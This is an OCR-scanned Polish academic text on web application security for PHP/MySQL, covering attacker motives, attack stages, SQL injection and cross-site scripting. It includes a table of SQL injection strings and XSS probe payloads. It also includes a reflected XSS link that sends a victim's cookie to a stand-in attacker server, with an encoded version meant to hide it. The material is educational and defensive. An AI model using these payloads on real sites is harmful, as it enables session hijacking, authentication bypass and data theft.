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WSTEP

Przetom wieku XX-go 1 XXI-go przyniost gwattowny rozwdj jednego z najwigkszych
wynalazkéw ludzkosci, jakim jest Internet. Kazdego dnia kolejne komputery osobiste
uzyskuja dostgp do tej globalnej sieci. Coraz wigcej tez w sieci witryn spetniajacych rozmaite
zadania, od prostych stron domowych po kompleksowe portale i sklepy internetowe. Dane
przez nie gromadzone sa coraz wazniejsze 1 zapewnienie ich bezpieczenstwa staje si¢

kluczowym czynnikiem warunkujacym szanse odniesienia sukcesu.

Obecnie mozna zaobserwowa¢ tendencj¢ do atakéw bezposrednio na aplikacje
produkcyjne, z pominigciem zapdr ogniowych zainstalowanych na poziomie sieci dostgpowe;.
Dlatego tez szczegdlna role zaczynaja odgrywaé zabezpieczenia programowe, czyli te
wdrazane na poziomie kodu przez samych programistow. Brak odpowiedniej ochrony moze
prowadzi¢ bowiem zaréwno do wiamania do aplikacji oraz skompromitowania jej autorow
badz wtlascicieli, jak i1 ataku na uzytkownikow z niej korzystajacych. W efekcie zdarzenie
takie w duzym stopniu odbija si¢ na reputacji firmy lub osoby i moze prowadzi¢ nie tylko do
zamknigcia serwisu 1 poniesienia dodatkowych kosztow, ale i nawet do upadku takiej
organizacji.

W dokumencie skupiono si¢ na §rodowisku PHP/MySQL, glownie ze wzgledu na duza
liczbg internetowych systeméw informatycznych obecnie powstajacych witasnie przy uzyciu
tych narzedzi. Istotne jednak jest, ze znaczna czg$¢ zagrozen opisanych w niniejszym
dokumencie, dotyczy niemal wszystkich aplikacji internetowych, bez wzglgdu na

wykorzystany jezyk programowania, czy tez system zarzadzania baza danych.

W dalszej czg$ci zostang przyblizone zagrozenia i rodzaje atakow, na ktdre moga by¢
podatne internetowe systemy informatyczne. W pierwszej kolejno$¢ zostanag omowione
zagrozenia zwiazane z iniekcja i wykonaniem wrogiego kodu, potem zagrozenia wynikajace z
manipulacji parametrow, a nastgpnie poruszony bedzie problem nieuprawnionego dostepu do
zasoboOw oraz ujawnienia poufnych informacji. Na samym koncu, co nie znaczy ze
zagadnienia tam poruszone sa najmniej wazne, zostang opisane zagrozenia zwiazane z
mechanizmami uwierzytelniania 1 zarzadzania sesjami uzytkownikow. Zaproponowany

podziat jest umowny, a zaprezentowane tu techniki czgsto moga by¢ ze soba taczone.



BEZPIECZENSTWO SYSTEMOW INFORMATYCZNYCH W INTERNECIE

Celem niniejszego punktu jest wprowadzenie do problemu bezpieczenstwa systemow
informatycznych w sieci Internet. Zostana tu po krétce przedstawione przyczyny i anatomia

atakow oraz grupy osob dokonujacych wiaman komputerowych.

Zarys problemu

Gwaltowny rozwdj Internetu w ostatnich latach otworzyt szereg mozliwo$ci zaré6wno
przed wieloma przedsigbiorstwami 1 wielkimi korporacjami, jak 1 uzytkownikami
indywidualnymi. Z nadarzajacej si¢ okazji zaistnienia na catym $wiecie kosztem stosunkowo
niewielkich nakladéw s$rodkow, skorzystato 1 wciaz korzysta wielu. Jednakze wraz z
rozkwitem wszelkiego rodzaju systemoéw e-commerce oraz innych dynamicznych witryn
internetowych, a co za tym idzie tez stopniowego zwigkszenia ilosci 1 wazno$ci danych w
nich przechowywanych, pojawit si¢ problem bezpieczenstwa tychze aplikacji. Otwarty
charakter systemow informatycznych w Internecie sprawia, ze dostep do nich ma praktycznie
kazdy, kogo komputer jest podiaczony do sieci, w wyniku czego przeprowadzenie
ewentualnego ataku jest o wiele prostsze niz dotychczas. Nie ulega wigc watpliwosci, ze
zapewnienie integralnosci danych i poufnosci informacji oraz ochrona przed przestgpczym
wykorzystaniem danych, ich utrata lub nieuczciwa konkurencja jest jednym z najwazniejszym
elementéw podczas realizacji zadan za pomoca systemow informatycznych [K1Ba00, s.539].
W wigkszosci przypadkow jest to zagadnienie kluczowe. Jezeli informacje tajne lub
szczegllnie wazne dostang si¢ w niepowotane rece badz skojarzone z innymi informacjami
zostang wykorzystane do innych celéw, anizeli te, ktore okre§lono przy ich gromadzeniu,
moze powsta¢ zagrozenie interesow ekonomicznych lub praw obywatelskich jednostki.
[Sund91, s.41]. Tak wigc je$li dane nie sa przechowywane i chronione z nalezyta
ostroznoscia, wszelkie dziatania krakerow moga przynies¢ katastrofalne skutki. Wedhug
przeprowadzonych badan okoto 80% firm, z ktorych wczesniej skradziono lub zniszczono
dane w ciagu 2 lat konczy swoja dzialalnos¢ [Faja05]. Problem bezpieczenstwa danych w
systemach informatycznych jest wigc problemem o podstawowym znaczeniu, warunkujacym
prawidtowe dzialanie instytucji oraz wptywajacym na poczucie bezpieczenstwa i zaufanie do

nowoczesnych rozwiazan informatycznych i telekomunikacyjnych [SBPO1, s.11].



Niestety, mimo realnego zagrozenia, wielu programistow wciaz wydaje si¢ nie
przywiazywac nalezytej uwagi do bezpieczenstwa tworzonego przez nich oprogramowania. Z
jednej strony wynika to zapewne z niewiedzy, ale z drugiej takze z napigtych terminow
oddania aplikacji do uzytku. Istotne znaczenie ma wigc sama $wiadomos$¢ istnienia
zagrozenia. Swiadomo$é nie tylko programistow, ale i przedsigbiorstw w ramach ktorych
funkcjonuje dane oprogramowanie czy tez klientow sktadajacych zlecenie na jego napisanie.
Jeszcze bardziej katastrofalne w skutkach moze by¢ falszywe poczucie bezpieczenstwa.
Opieranie si¢ na starych sprawdzonych rozwiazaniach nie zawsze gwarantuje skuteczna
ochrong. Na przyktad popularne firewalle sa bezsilne na ataki dokonywane poprzez luki w
aplikacjach webowych, poniewaz witryny internetowe wymagaja, aby porty 80 (HTTP) 1 443
(SSL) byly caty czas otwarte. W rezultacie typowe firewalle sa pomijane w calym procesie
komunikacji warstwy klienta z warstwa aplikacji. Co prawda podjeto proby stworzenia zapor
ogniowych dedykowanych dla stron internetowych, jednak mnogo$¢ mozliwych atakow i
oczywista niemozno$¢ odczytania zamiarOw uzytkownikow (potencjalnych krakerow)
spowodowatly, Ze nie sa one rozwigzaniami, na ktérych mozna by byto opiera¢ skuteczna
ochrong. Co wigcej, J. Grossman uzmystawia nam [Gros04], ze szyfrowanie danych za
pomoca protokotu SSL takze nie jest wystarczajace, poniewaz zapewnia ono bezpieczenstwo
tylko transmisji danych do 1 z aplikacji, natomiast sama informacja przez witryng
przechowywana jest juz w czytelnej postaci. W ten oto sposdb pojawit si¢ problem, ktory
mial marginalne znaczenie w dobie statycznych stron WWW. Zapory ogniowe,
zabezpieczenia systemu operacyjnego 1 najnowsze poprawki — to wszystko moze zostaé
pominigte podczas prostego ataku na aplikacje. Chociaz elementy te sa wciaz krytycznymi
elementami kazdej infrastruktury zabezpieczen, to sa one w widoczny sposob bezradne w
powstrzymywaniu nowej generacji atakow, ktore zdarzaja si¢ coraz czgsciej [ScSh02, s.xxi].
Obecnie 70% atakow skierowanych przeciwko firmom,realizowanych jest wlasnie poprzez

warstwe aplikacji, a nie warstwg sieciowg czy systemowa [Kenn05] (zob. rysunek 1).

Wobec tychze faktow, wlasciwe zabezpieczanie aplikacji webowych nabiera
szczegblnego znaczenia. System jest zawsze tak silny, jak jego najstabsze ogniwo, wigc na
nic si¢ zdadza inwestycje w kosztowne zapory ogniowych czy tez implementacje

bezpiecznych protokotow typu SSL, jesli sama witryna internetowa posiada luki i bledy.

Bezpieczenstwo internetowych aplikacji bazodanowych nie ogranicza sig $cisle tylko do
przeciwdziatania wlamaniom krakerow. Zapewnienie bezpieczenstwa danych obejmuje
rowniez ochrong przed naruszeniem spojnosci danych, tj. zapewnienie, aby dane byly

wewngetrznie niesprzeczne, aby istniata zgodno$¢ miedzy odwzorowywana rzeczywistoscia a



zbiorem danych w bazie danych [SBPOI, s.12]. Obejmuje to zar6wno celowa, jak i
nieumyslna modyfikacj¢ badZz usunigcie danych, najczgsciej w  wyniku sytuacji

nieprzewidzianych przez programistow piszacych aplikacje.

70% atakow
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Zrodlo: [Sima04, s.6]

Atak na aplikacje

Atak na aplikacj¢ mozna zdefiniowa¢ jako akcjg, ktdra wykorzystuje staby punkt i
realizuje zagrozenie [MMVEMO4, s.5]. Przez staby punkt rozumie si¢ tu stabo$¢, ktora czyni
realizacj¢ zagrozenia mozliwa [MMVEMO04, s.11], natomiast zagrozenie to mozliwos¢
wystapienia zdarzenia, zamierzonego lub przypadkowego, ktére mogltoby spowodowac
szkody wzgledem jakiego$ zasobu [MMVEMO04, s.5]. Zasobem jest tu jednostka posiadajaca
pewna warto$¢, np. dane w bazie lub systemie plikow lub element systemu [MMVEMO04, s.5].

Powody 1 przestanki, dla ktorych dokonywany jest atak, moga by¢ rozmaite. Mozna tu
zaliczy¢ nastgpujace przyczyny [SzWi06, s.22] :

» Zemsta — atakujacy z reguly zna dobrze aplikacje, jest w stanie poswigci¢ na atak

duzo czasu oraz energii i probuje wyrzadzi¢ jak najwigksze szkody,

* Szpiegostwo — proba wykradzenia poufnych informacji; ze szpiegostwem S$cisle
zwiazane jest piractwo informacyjne (wlamanie do bazy danych wylaczenie w celu
kradziezy informacji) oraz kradziez tozsamosci (kradziez prywatnych informacji o
ofierze, ktore moga umozliwi¢ podszycie si¢ pod ofiarg, np. adres, numer
ubezpieczenia, informacje o kartach kredytowych, data urodzenia, itp.) [Fotr03,
s.29],

» Stawa — przewaznie dotyczy niedoswiadczonych atakujacych,



Satysfakcja — proba sprawdzenia i potwierdzenia wtasnych umiejgtnosci,

Slepy los — ataki zautomatyzowane, ktére zazwyczaj nie sa wymierzone w
konkretna witryng; najczesciej pod postacia wirusow i robakow rozprzestrzeniaja si¢

po sieci wyszukujac 1 wykorzystujac aplikacje posiadajace znane podatnosci.

Samych atakujacych mozna podzieli¢ na dwie podstawowe grupy : hakerzy (hackers) i

krakerzy (crackers). Hakerzy to programisci posiadajacy szeroka wiedzg¢ zarOwno w

dziedzinie sprz¢tu komputerowego jak i oprogramowania [Warh99, s.13]. Pojecie hakera

czesto jest mylone z krakerem. Hakerzy szukaja luk w systemach informatycznych, aby

poprawi¢ ich bezpieczenstwo, rzadziej tylko dla sprawdzenia wlasnych umiejgtnosci.

Natomiast krakerzy to osoby zajmujace si¢ lamaniem zabezpieczen oprogramowania dla

wlasnych celéow [SzWi06, s.24]. W przeciwienstwie do hakerow krakerzy dzialaja

nielegalnie, mimo iz obie grupy ludzi uzywaja bardzo podobnych lub identycznych

programéw 1 technik [Warh99, s.13]. Krakerow mozna podzieli¢ dodatkowo na szczegotowe

podgrupy [Howa97] :

Wandale (Vandals) — wtamuja si¢ gldéwnie w celu dokonania zniszczen,

Terrorysci (Terrorists) — wlamuja si¢ gtownie w celu wywotania strachu, ktory
pomoze w osiagnigciu korzysci politycznych,

Szpiedzy (Spies) — wlamuja si¢ glownie dla uzyskania informacji, ktére moga by¢
wykorzystane w celach politycznych,

Szpiedzy przemystowi (Corporate Raiders) — pracownicy, ktorzy wlamuja si¢ do

komputeréw konkurencyjnych firm celem osiagnigcia korzysci finansowych,

Przestepcy (Professional Criminals) — wlamuja si¢ celem uzyskania osobistych

korzysci finansowych (nie sa szpiegami przemystowymi).

Bez wzgledu na grupe oraz motywy, sam atak przebiega zazwyczaj wedtug tego samego

schematu [Sima04, s. 8] :

(1) Skanowanie — atakujacy skanuje porty, aby wykry¢ otwarte porty HTTP oraz

HTTPS i wyszuka¢ domyslne strony dla kazdego otwartego portu,

(2) Gromadzenie informacji — atakujacy identyfikuje typ serwera dla kazdego portu, a

nastgpnie analizuje strong w celu poznania jej budowy i zachowania,

(3) Testowanie — atakujacy sprawdza kolejne elementy i podstrony witryny w celu

odnalezienia blgdéw programistycznych, ktdre pozwola mu na uzyskanie wigkszego

dostepu,



(4) Planowanie ataku — w oparciu o informacje zgromadzone w poprzednich krokach,

atakujacy okresla stabe punkty aplikacji 1 planuje atak,

(5) Dokonywanie ataku — atakujacy dokonuje wlasciwego ataku wykorzystujac
wcezesniej wykryte podatnosci; dodatkowo na koniec moze on zatrze¢ wszelkie

slady dokonanego wlasnie wlamania.
Przyblizone w tym punkcie zagadnienia daja tylko ogodlne pojgcie na temat zagrozen, na
ktére narazone sg internetowe aplikacje bazodanowe PHP. Dlatego konkretne rodzaje atakow

i technik zostang omowione bardziej szczegétowo w nastgpnych punktach tego dokumentu.



Z AGROZENIA ZWIAZANE Z WYKONANIEM WROGIEGO KODU

Ataki polegajace na wstrzyknigciu 1 wykonaniu wrogiego kodu sa jednymi z
dotkliwszych zagrozen dotyczacych internetowych aplikacji bazodanowych. Ich skutki sa

przewaznie ci¢zkie do przewidzenia i ogarnigcia.

Nie nalezy lekcewazy¢ zadnego rodzaju atakow polegajacych na wykonaniu ztosliwego
kodu, jednakze najbardziej znane i1 rozpowszechnione sa iniekcja kodu SQL i Cross Site

Scripting, dlatego poswigcono im najwigcej miejsca.
Iniekcja kodu SQL

Iniekcja kodu SQL (SQOL Injection) polega na takiej manipulacji aplikacja komunikujaca
si¢ z baza danych, aby ta umozliwita atakujacemu uzyskanie dostgpu lub modyfikacje danych,
do ktoérych nie posiada on uprawnien [DwLu03]. Odbywa si¢ to poprzez wprowadzanie
spreparowanych ciagéw znakoéw do zmiennych przekazywanych serwisom WWW, aby
zmieniaty one sens wykonywanych przez ten serwis zapytan SQL [Cieb03]. Jest to mozliwe,
gdy zapytania oparte sa na danych wprowadzanych przez uzytkownikéw. W zaleznosci od
architektury aplikacji, spreparowanym ciaggiem znakow wykorzystywanym przez atakujacego
moze by¢ gotowe wyrazenie SQL, sekwencja komend specyficznego dla danej platformy
jezyka obstugi danych (Data Manipulation Language) lub odwolanie do procedury, ktora
samoczynnie utworzy wlasciwe wyrazenie SQL [DwLu03]. Skutecznie przeprowadzony atak
polegajacy na iniekcji kodu SQL moze prowadzi¢ do nieautoryzowanego dostepu do danych,
pominigcia procesu uwierzytelniania, modyfikacji zawartosci bazy danych, a nawet do

przejecia kontroli nad systemem [PeCh04, s.418].

Atak SQL Injection wykorzystuje nastepujace trzy elementy dziatania aplikacji

internetowej :

* dynamicznie tworzone zapytania — zapytanie zalezne jest od danych wejsciowych,

czesto pochodzacych od uzytkownika [Fish05, s.46],

» ostateczna forma zapytania tworzona jest w wyniku potaczenia oryginalnej

statyczne] czgsci zapytania z parametrami dynamicznym, np. $zapytanie =

10



“SELECT * FROM uzytkownicy WHERE id=".$ GET['id']; - paramectrem

dynamicznym jest tutaj zmienna $_GET[ 'id"' ] pochodzaca z adresu URL,

* staba walidacja (lub jej brak) danych wejsciowych uzywanych w zapytaniu [Fish05,
s.46].

Pierwszym krokiem kazdego ataku jest zawsze rekonesans. W przypadku iniekcji kodu
SQL, polega on na modyfikowaniu parametrow wejSciowych oraz $ledzeniu zmian w
zachowaniu aplikacji pod wplywem tych modyfikacji. Przykladowo witryny czasem zwracaja
komunikaty btedéw w interpretacji kodu PHP bezposrednio na wyjscie do przegladarki. W
efekcie atakujacy moze, poprzez odpowiednia manipulacj¢ parametréw (np. 'zZiawarto$é,
ZtaWarto$¢', ' OR, ;, 9,9,9 [Spet02, s.9]), sztucznie wywotywaé te btedy, dzigki czemu
ma okazje przeanalizowa¢ sposob dziatania aplikacji. W ten sposob napastnik moze zdoby¢
informacje o wygladzie zapytan SQL, a nawet pozna¢ strukturg bazy danych. Wydawac by si¢
mogto, ze pelne komunikaty blgdow moga wyswietla¢ koncowemu uzytkownikowi tylko
mate witryny, pisane przez poczatkujacych i niedo§wiadczonych programistow, jednakze
praktyka wyglada nieco inaczej. Tego rodzaju luki mozna spotkaé takze na rozbudowanych
witrynach komercyjnych, a nawet na stronach instytucji rzadowych. Przyktadowo grupa
rosyjskich hakerow pokazata wykorzystanie tej podatnosci celem wykradnigcia numerow kart
kredytowych na przyktadzie witryny amerykanskiego stanu Rhode Island [WWW?7]. Nawet
jesli aplikacja nie wyswietla petnych komunikatow btedoéw, to atak takze jest mozliwy
poprzez tzw. “Slepe” wstrzykiwanie kodu (ang. Blind SQL Injection) [Spet03, s.2]. Okreslenie
to ogolnie odnosi si¢ do tych atakow typu SQL Injection, gdzie wystgpuja ograniczone

mozliwos$ci uzyskania od aplikacji informacji utatwiajacych atak [PeCh04, s.425].

Ataki polegajace na wstrzykiwaniu wrogiego kodu SQL mozna podzieli¢ na trzy

kategorie w oparciu o to, w ktory aspekt zapytan SQL sa wymierzone [ShemO5] :

(1) Ataki na sktadnie zapytania - opieraja si¢ na wstawianiu znakéw zakldcajacych
skladnie zapytania w celu wygenerowania bledow utatwiajacych identyfikacje
zakresu ataku mozliwego do przeprowadzenia. Znakami tymi moga by¢
cudzystow, srednik, znak komentarza (#, /*, --), a takze wbudowane funkcje SQL,
np. CHAR(0x27) - filtry sprawdzajace wystgpowanie apostrofu nie wykryja w tym
przypadku zagrozenia, tymczasem w rzeczywistosci szesnastkowa warto$¢ 0x27
reprezentuje kod ASCII pojedynczego cudzystowu; do przeprowadzenia ataku na
sktadnie zapytania moga by¢ takze wykorzystane ataki na typy zmiennych,

szczegoblnie jesli chodzi o warto$ci numeryczne.
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(2) Ataki na sktadnie jgzyka - wycelowane w sam jgzyk SQL. Zamierzeniem jest
wygenerowanie bltgdow bazy danych lub wykonanie prostych zapytan poprzez
manipulacj¢ konstruktorami j¢zyka i tozsamosciami semantycznymi, np. elementy
111, 0157, 110+1, MOD(111, 112), REPEAT(1,3), COALESCE(NULL, NULL,
111) dla bazy danych wszystkie maja takie same znaczenie; w rezultacie atakujacy
moze pozna¢ mechanizmy przetwarzania surowych warto$ci parametrow
wejsciowych zaimplementowane w aplikacji, a nastepnie wykorzysta¢ ich stabosci.
Do atakow na sktadnie jezyka zalicza si¢ takze ataki polegajace na umieszczaniu
wlasnych zapytah SQL zaraz po oryginalnych zapytaniach wykonywanych przez
aplikacje; w tym celu atakujacy moze uzy¢ znaku S$rednika, ktéry oddziela
nastgpujace po sobie zapytania, lub operatora UNION, ktéry taczy wyniki
wielokrotnych zapytan. Czgsto wykorzystywane sa tutaj znaki komentarza celem
obcigcia wyrazenia do zadanej postaci. Atakujacy ma do dyspozycji szereg zapytan,
ktore dotaczone do wlasciwego zapytania, pozwalaja mu na uzyskanie informacji o
bazie danych, np. SHOW DATABASES, SHOW TABLES, EXPLAIN nazwa_tabeli,
SELECT SESSION USER() 1 wiele, wiele innych. W ten sam sposéb moze
przeprowadzi¢ modyfikacje zawarto$ci bazy danych uzywajac podstawowych

polecen jezyka SQL, takich jak INSERT, UPDATE, DELETE czy DROP.

(3) Ataki na logike zapytania - polegaja na przepisaniu zapytania w celu otrzymania
dowolnych danych z tabel, do ktérych tworcy nie przewidzieli dostgpu; w tym celu
uzywa si¢ operatora UNION; w praktyce atakujacy moze uzyskaé¢ dostgp do
dowolnych danych; jest tylko ograniczony uprawnieniami danego uzytkownika bazy

danych, ktorego konto jest wykorzystywane przez witryng.

Audytorzy bezpieczenstwa aplikacji internetowych bardzo czgsto opieraja swoje testy
tylko na wstrzyknigciach opartych na apostrofach, jednakze jak pokazuje tabela nr.1, nie jest
to poprawne podej$cie do testowania podatnosci na SQL Injection, poniewaz do tego typu

atakow wykorzystuje sig takze wiele innych znakdw 1 ich kombinacji [ShemO5, s.44].

Nieuprawniony dostgp do bazy danych jest zagrozeniem, do ktérego tworcy systemow
informatycznych powinni przywiazywaé szczegdlna uwagg. W tak otwartym srodowisku
jakim jest sie¢ Internet, gdzie dostgp do aplikacji jest praktycznie nieograniczony, kwestia ta
nabiera szczegdlnego znaczenia. Co gorsza, atak SQL Injection jest przeprowadzany
pomiegdzy warstwa programistyczna (jezyk aplikacji internetowej) a warstwa danych (system

zarzadzania baza danych), wigc nie przeszkadzaja mu programy antywirusowe czy zapory
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ogniowe (firewall), poniewaz dzialaja one na nizszym poziomie [Trej04, s.70]. W praktyce
daja one tylko falszywe poczucie catkowitego bezpieczenstwa. Wobec tych faktow,
zagadnieniem kluczowym staje si¢ implementacja funkcji ochronnych na poziomie kodu

aplikacji.

Znak, wyrazenie

b rpemaian Znaczenie dla iniekcji kodu SQL

Znaki cudzystlowow. Jesli serwer odpowie bledem SQL, aplikacja jest
podatna na iniekcj¢ kodu SQL.

"o

OR 1=1 Wymusza prawdziwo$¢ catego wyrazenia znajdujacego si¢ w klauzuli
OR 1='1 WHERE zapytania. Najczgéciej stosowane w przypadku zapytan
OR 1="1 uwierzytelniajacych, np.
SELECT id FROM uzytkownicy WHERE login = *“Login” AND
haslo = “Has1o” OR 1=1

Powyzsze zapytanie zwroci identyfikator uzytkownika o podanym loginie
(nazwie uzytkownika) bez wzgledu na to czy hasto jest poprawne, czy tez
nie.

UNION Operator ten laczy polecenia SELECT. Umozliwia rozszerzenie wyrazenia
o inne zapytania, np.

SELECT kolumna FROM tabela UNION (SELECT CONCAT(*) FROM
mysql.user)

#, /*, —- Znaki komentarza w MySQL. Wszystkie znaki wystgpujace po znaku
komentarza sa ignorowane przez system zarzadzania baza danych. Celem
atakujacego jest obcigcie zapytania do zadanej postaci, np.

SELECT kolumna FROM tabela WHERE id = REPEAT(1,3) UNION
SELECT USER() /* AND idsesji = 123456

% Wieloznacznik (wildcard). Gdy w warunku zapytania uzywany jest
operator LIKE, wtedy znak procenta (%) oznacza dowolna liczbg znakow.

Podkreslnik (underscore). Gdy w warunku zapytania uzywany jest
operator LIKE, wtedy znak podkreslenia (_) oznacza dowolny pojedynczy

znak.
INSERT, UPDATE, Polecenia SQL odpowiedzialne za modyfikacje struktury i zawartosci bazy
DELETE, REPLACE, |danych. Jedli atakujacy uzyska mozliwo$¢ wykonania wlasnych zapytan
DROP, ALTER przy uzyciu tych polecen, konsekwencje moga by¢ bardzo powazne.
Napastnik moze np. zmienié¢ hasto dostepu uzytkownika :
UPDATE uzytkownicy SET haslo = ”Nowe haslo” WHERE login
= "administrator”

Tabela 1: Znaki, wyrazenia i operatory, wazne przy iniekcji kodu SQL (MySQL)
Zroédto: Opracowanie whasne na podstawie [ScSh02], [Glem05], [Shem05], [Atki03].

13



Cross Site Scripting

Cross Site Scripting (XSS'), obok iniekcji kodu SQL, jest jednym z najbardziej znanych i
rozpowszechnionych atakow na aplikacje bazodanowe dziatajace w sieci Internet. W rankingu
incydentow konsorcjum bezpieczenstwa stron WWW (Web Application Security Consortium)
zajmuje pierwsze miejsce [WWW6]. Byl szeroko opisywany nie tylko w mediach
specjalistycznych, ale 1 w zwyklej prasie 1 magazynach [Endl02, s.4]. Swoja popularno$¢
zawdzig¢cza migdzy innymi temu, ze jego ofiarami padaly nawet tak duze 1 popularne witryny
internetowe jak system kont pocztowych Hotmail, serwis aukcyjny eBay, system
wyszukiwawczy Google czy tez portal Yahoo [Endl02, s.4; AlshO6a, s.54]. Podatno$¢ na
Cross Site Scripting wykrywano takze na stronach duzych zachodnich bankéw [WWW4].
Tym bardziej dziwi fakt, ze temat ten jest w papierowych pozycjach ksiazkowych czesto
opisywany bardzo pobieznie.

Jesli chodzi o polski odpowiednik terminu Cross Site Scripting, to tylko w jednej pozycji
ksiazkowej [MMVEMO04, s.22] zaproponowano enigmatycznie brzmiace okreslenie
“skryptowanie skro$ne”. W innych polskich pracach i przektadach powszechnie uzywa si¢
nazwy angielskiej.

Atak typu Cross Site Scripting polega na iniekcji zlosliwego kodu w oryginalng tres¢
strony. Aby agresor mogt skutecznie wykorzysta¢ taka luke, uzytkownik koncowy musi
podjac jakie$ dziatania — moze to by¢ kliknigcie na spreparowanym taczu lub odwiedzenie
strony, w ktora wstrzyknig¢to wrogi kod [ScSh02, s.291]. Kod ten jest najczesciej tworzony
przy uzyciu jezyka skryptowego JavaScript, ale réwnie dobrze moga by¢ do tego
wykorzystane takze inne technologie wykonywane po stronie klienta, takie jak Ajax,
VBScript czy Flash. Atak XSS jest o tyle specyficzny, Ze jego celem w pierwszej kolejnosci
nie jest witryna sama w sobie, lecz jej uzytkownicy. Wykorzystane jest tutaj zaufanie, jakim
korzystajacy ze strony ja obdarza, natomiast sama strona staje si¢ nieswiadomym
wspotsprawcea ataku [Gajd05, s.95]. Cross Site Scripting dotyka szczegolnie te strony
internetowe, gdzie zachodzi interakcja z uzytkownikami lub tez wys$wietlane sa jakiekolwiek
dane pochodzace z zewnatrz, spoza aplikacji, np. fora internetowe, serwisy aukcyjne, sklepy
internetowe z opcja komentowania i recenzowania produktéw, systemy kont pocztowych

dostepne przez protokot HTTP, otwarte systemy encyklopedyczne Wiki i wiele, wiele innych.

' Poczatkowo Cross Site Scripting w skrocie nazywano CSS, ale w zwiazku z faktem, ze takiego
samego akronimu uzywa si¢ na okreS§lenie kaskadowych arkuszy stylow (ang. Cascading Style

Sheets), dla uniknigcia nieporozumien przyj¢to skrot XSS
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Podatne moga by¢ nawet moduly wyszukiwania oraz strony wyswietlajace komunikaty

btedow [OWASPO4, s.11].

Cross Site Scripting pozwala napastnikowi migdzy innymi na wykradnigcie warto$ci
przechowywanych w ciasteczkach (ang. cookies). Najczg$ciej sa one uzywane do
identyfikacji uzytkownika, dlatego zdobycie ich przez napastnika umozliwia przejecie sesji i
konta, a w konsekwencji wykonanie okre§lonych operacji z poziomem uprawnien
zalogowanego uzytkownika [AlshO6a, s.54]. Jesli ofiara jest administrator systemu skutki
moga by¢ bardzo powazne. XSS moze takze postuzy¢ do przekierowania uzytkownika na
inng strong, instalacj¢ szkodliwego programu (konia trojanskiego), a takze do zmieniania i
falszowania zawartosci witryny [OWASPO04, s.11]. Szczego6lnie nie nalezy lekcewazy¢ tego
ostatniego zagrozenia. Przykladowo modyfikacja wiadomosci prasowej na witrynie moze
mie¢ wpltyw na zmiang ceny akcji danego przedsigbiorstwa na gietdzie czy tez na poziom

zaufania klientéw wobec firmy [OWASPO04, s.11].
Atak XSS sklada si¢ z nastgpujacych etapow [Gajd05, s.95; Zuch03] :
(1) odnalezienie luki, a nastgpnie przekazanie do aplikacji ztosliwego kodu,
(2) nieswiadome pobranie 1 wykonania tego kodu przez ofiarg,
(3) dodatkowe akcje wykonywane przez atakujacego.

Odnalezienie luki i sprawdzenie czy dana aplikacja jest podatna na Cross Site Scripting
to niezbyt trudne zadanie. W wigkszosci przypadkow sprowadza si¢ do zmudnego

wprowadzania w pola formularzy HTML odpowiednio przygotowanego kodu, np. [WWW5]

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode (88,83
,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCod
e(88,83,83))//></script>!--
<script>alert(String.fromCharCode(88,83,83))</script>=&{}

Wykonanie powyzszych instrukcji jezyka JavaScript spowoduje wyswietlenie monitu z
komunikatem o tresci “XSS” (jesli tylko wystgpuje podatnos¢). Jezeli pole do wprowadzania
tresci w formularzu nie pozwala na umieszczenie w nim zbyt wielu znakow mozna skorzystaé

z nieco skroconej wersji [WWWS5] :
Ty l--"<XSS>=&{()}

W tym przypadku wystarczy zajrze¢ do zrodta strony i zobaczy¢ czy w treSci wystgpuje
clag <XSS czy tez &lt;XsSs. Ten pierwszy oznacza, ze witryna nie posiada odpowiednich

filtrow danych wejsciowych i jest podatna na atak. Warto zaznaczy¢, ze cata procedura
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sprawdzania wcale nie musi odbywa¢ si¢ poprzez pola formularzy, czyli poprzez metode

HTTP POST. Réwnie dobrze mozna uzy¢ zadania GET, np.

http://atakowana strona/podstrona.php?komunikat=<script>alert(“Podatne na
atak XSS")</script>

W rezultacie powyzszy kod wyswietli monit z komunikatem ‘“Podatne na atak XSS”,

dzigki czemu atakujacy bedzie mogt przejs¢ do kolejnego etapu.

Po odnalezieniu luki napastnik moze przystapi¢ do ataku. Wyro6znia si¢ dwa podstawowe

sposoby jego przeprowadzania : bezposredni i trwaty.

Atak bezposredni? polega na dostarczeniu ofierze specjalnie spreparowanego odno$nika
(linka), po ktorego kliknigciu uzytkownik przechodzi na strong, a nastgpnie przegladarka
internetowa wykonuje ztosliwy kod znajdujacy si¢ w adresie URL [WASCO04a, s.25]. Wbrew
pozorom, sktonienie ofiary do uruchomienia takiego odnos$nika nie wymaga szczegolnie
wymys$lnych zabiegow. Najczesciej wysyla si¢ e-mail o tresci zachecajacej do kliknigcia w
znajdujacy si¢ tam link, w zalezno$ci od charakteru atakowanego serwisu moze to by¢
przyktadowo bardzo kuszaca promocja w sklepie internetowym, informacja o wygranej
nagrodzie albo chociazby informacja o otrzymanej internetowej kartce pocztowej. Link ten

moze wyglada¢ nastepujaco : [WASC04a, s.26]

http://atakowana strona/?nazwa=<script>document.location="http://serwer at
akujacego/czytaj cookies.php?cookie="+document.cookie</script>

Uruchomienie powyzszego odnosnika w efekcie spowoduje przekierowanie na serwer
napastnika, gdzie zostanie przez niego odczytana warto$¢ ciasteczka (cookie). Poniewaz
przedstawiony adres URL moze tatwo wzbudzi¢ podejrzenia ofiary, dobrym pomystem

bedzie zakodowanie czg$ci adresu zawierajacej kod JavaScript : [WASC04a, s.27]

http://atakowana strona/?nazwa=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%
6E274%2E%6C%6F%63%61%74%69%6F%6E$3D%201D%68%74%74%70%3A%2F%2F%73%65%72%77%
65%72%5F%61%74%61%6B%75%6A%61%63%65%67%6F%2F%63%7A%79%74%61%6A%5F%63%6F%6F
$6B%69%65%73%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%201D%2B%64%6F%63%75%6D%65
$6EST4%2ES63%6F36F%6B%69%65%3C%2F273%63%72%69%70%74%3E

Tak zakodowany odno$nik zostanie zinterpretowany przez przegladarke internetowa

identycznie jak wyzej przedstawiony adres czytelny dla cztowieka.

2 W literaturze dla okre$lenia tego ataku uzywa sie nastepujacych angielskojezycznych terminow :
direct attack [Alsh05a, s.54], non-persistent attack [WASCO04a, s.25] oraz reflected attack
[OWASPO04, s.11].
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@ Dostarczenie odpowiednio @ Uruchomienie odnosnika
spreparowaneqo odnosnika

————-- ——--

Atakujacy Ofiara Strona

‘ @ Wykonanie wrogiego kodu I

Rysunek 2: Przebieg ataku bezposredniego Cross Site Scripting
Zrédlo: Opracowanie whasne.

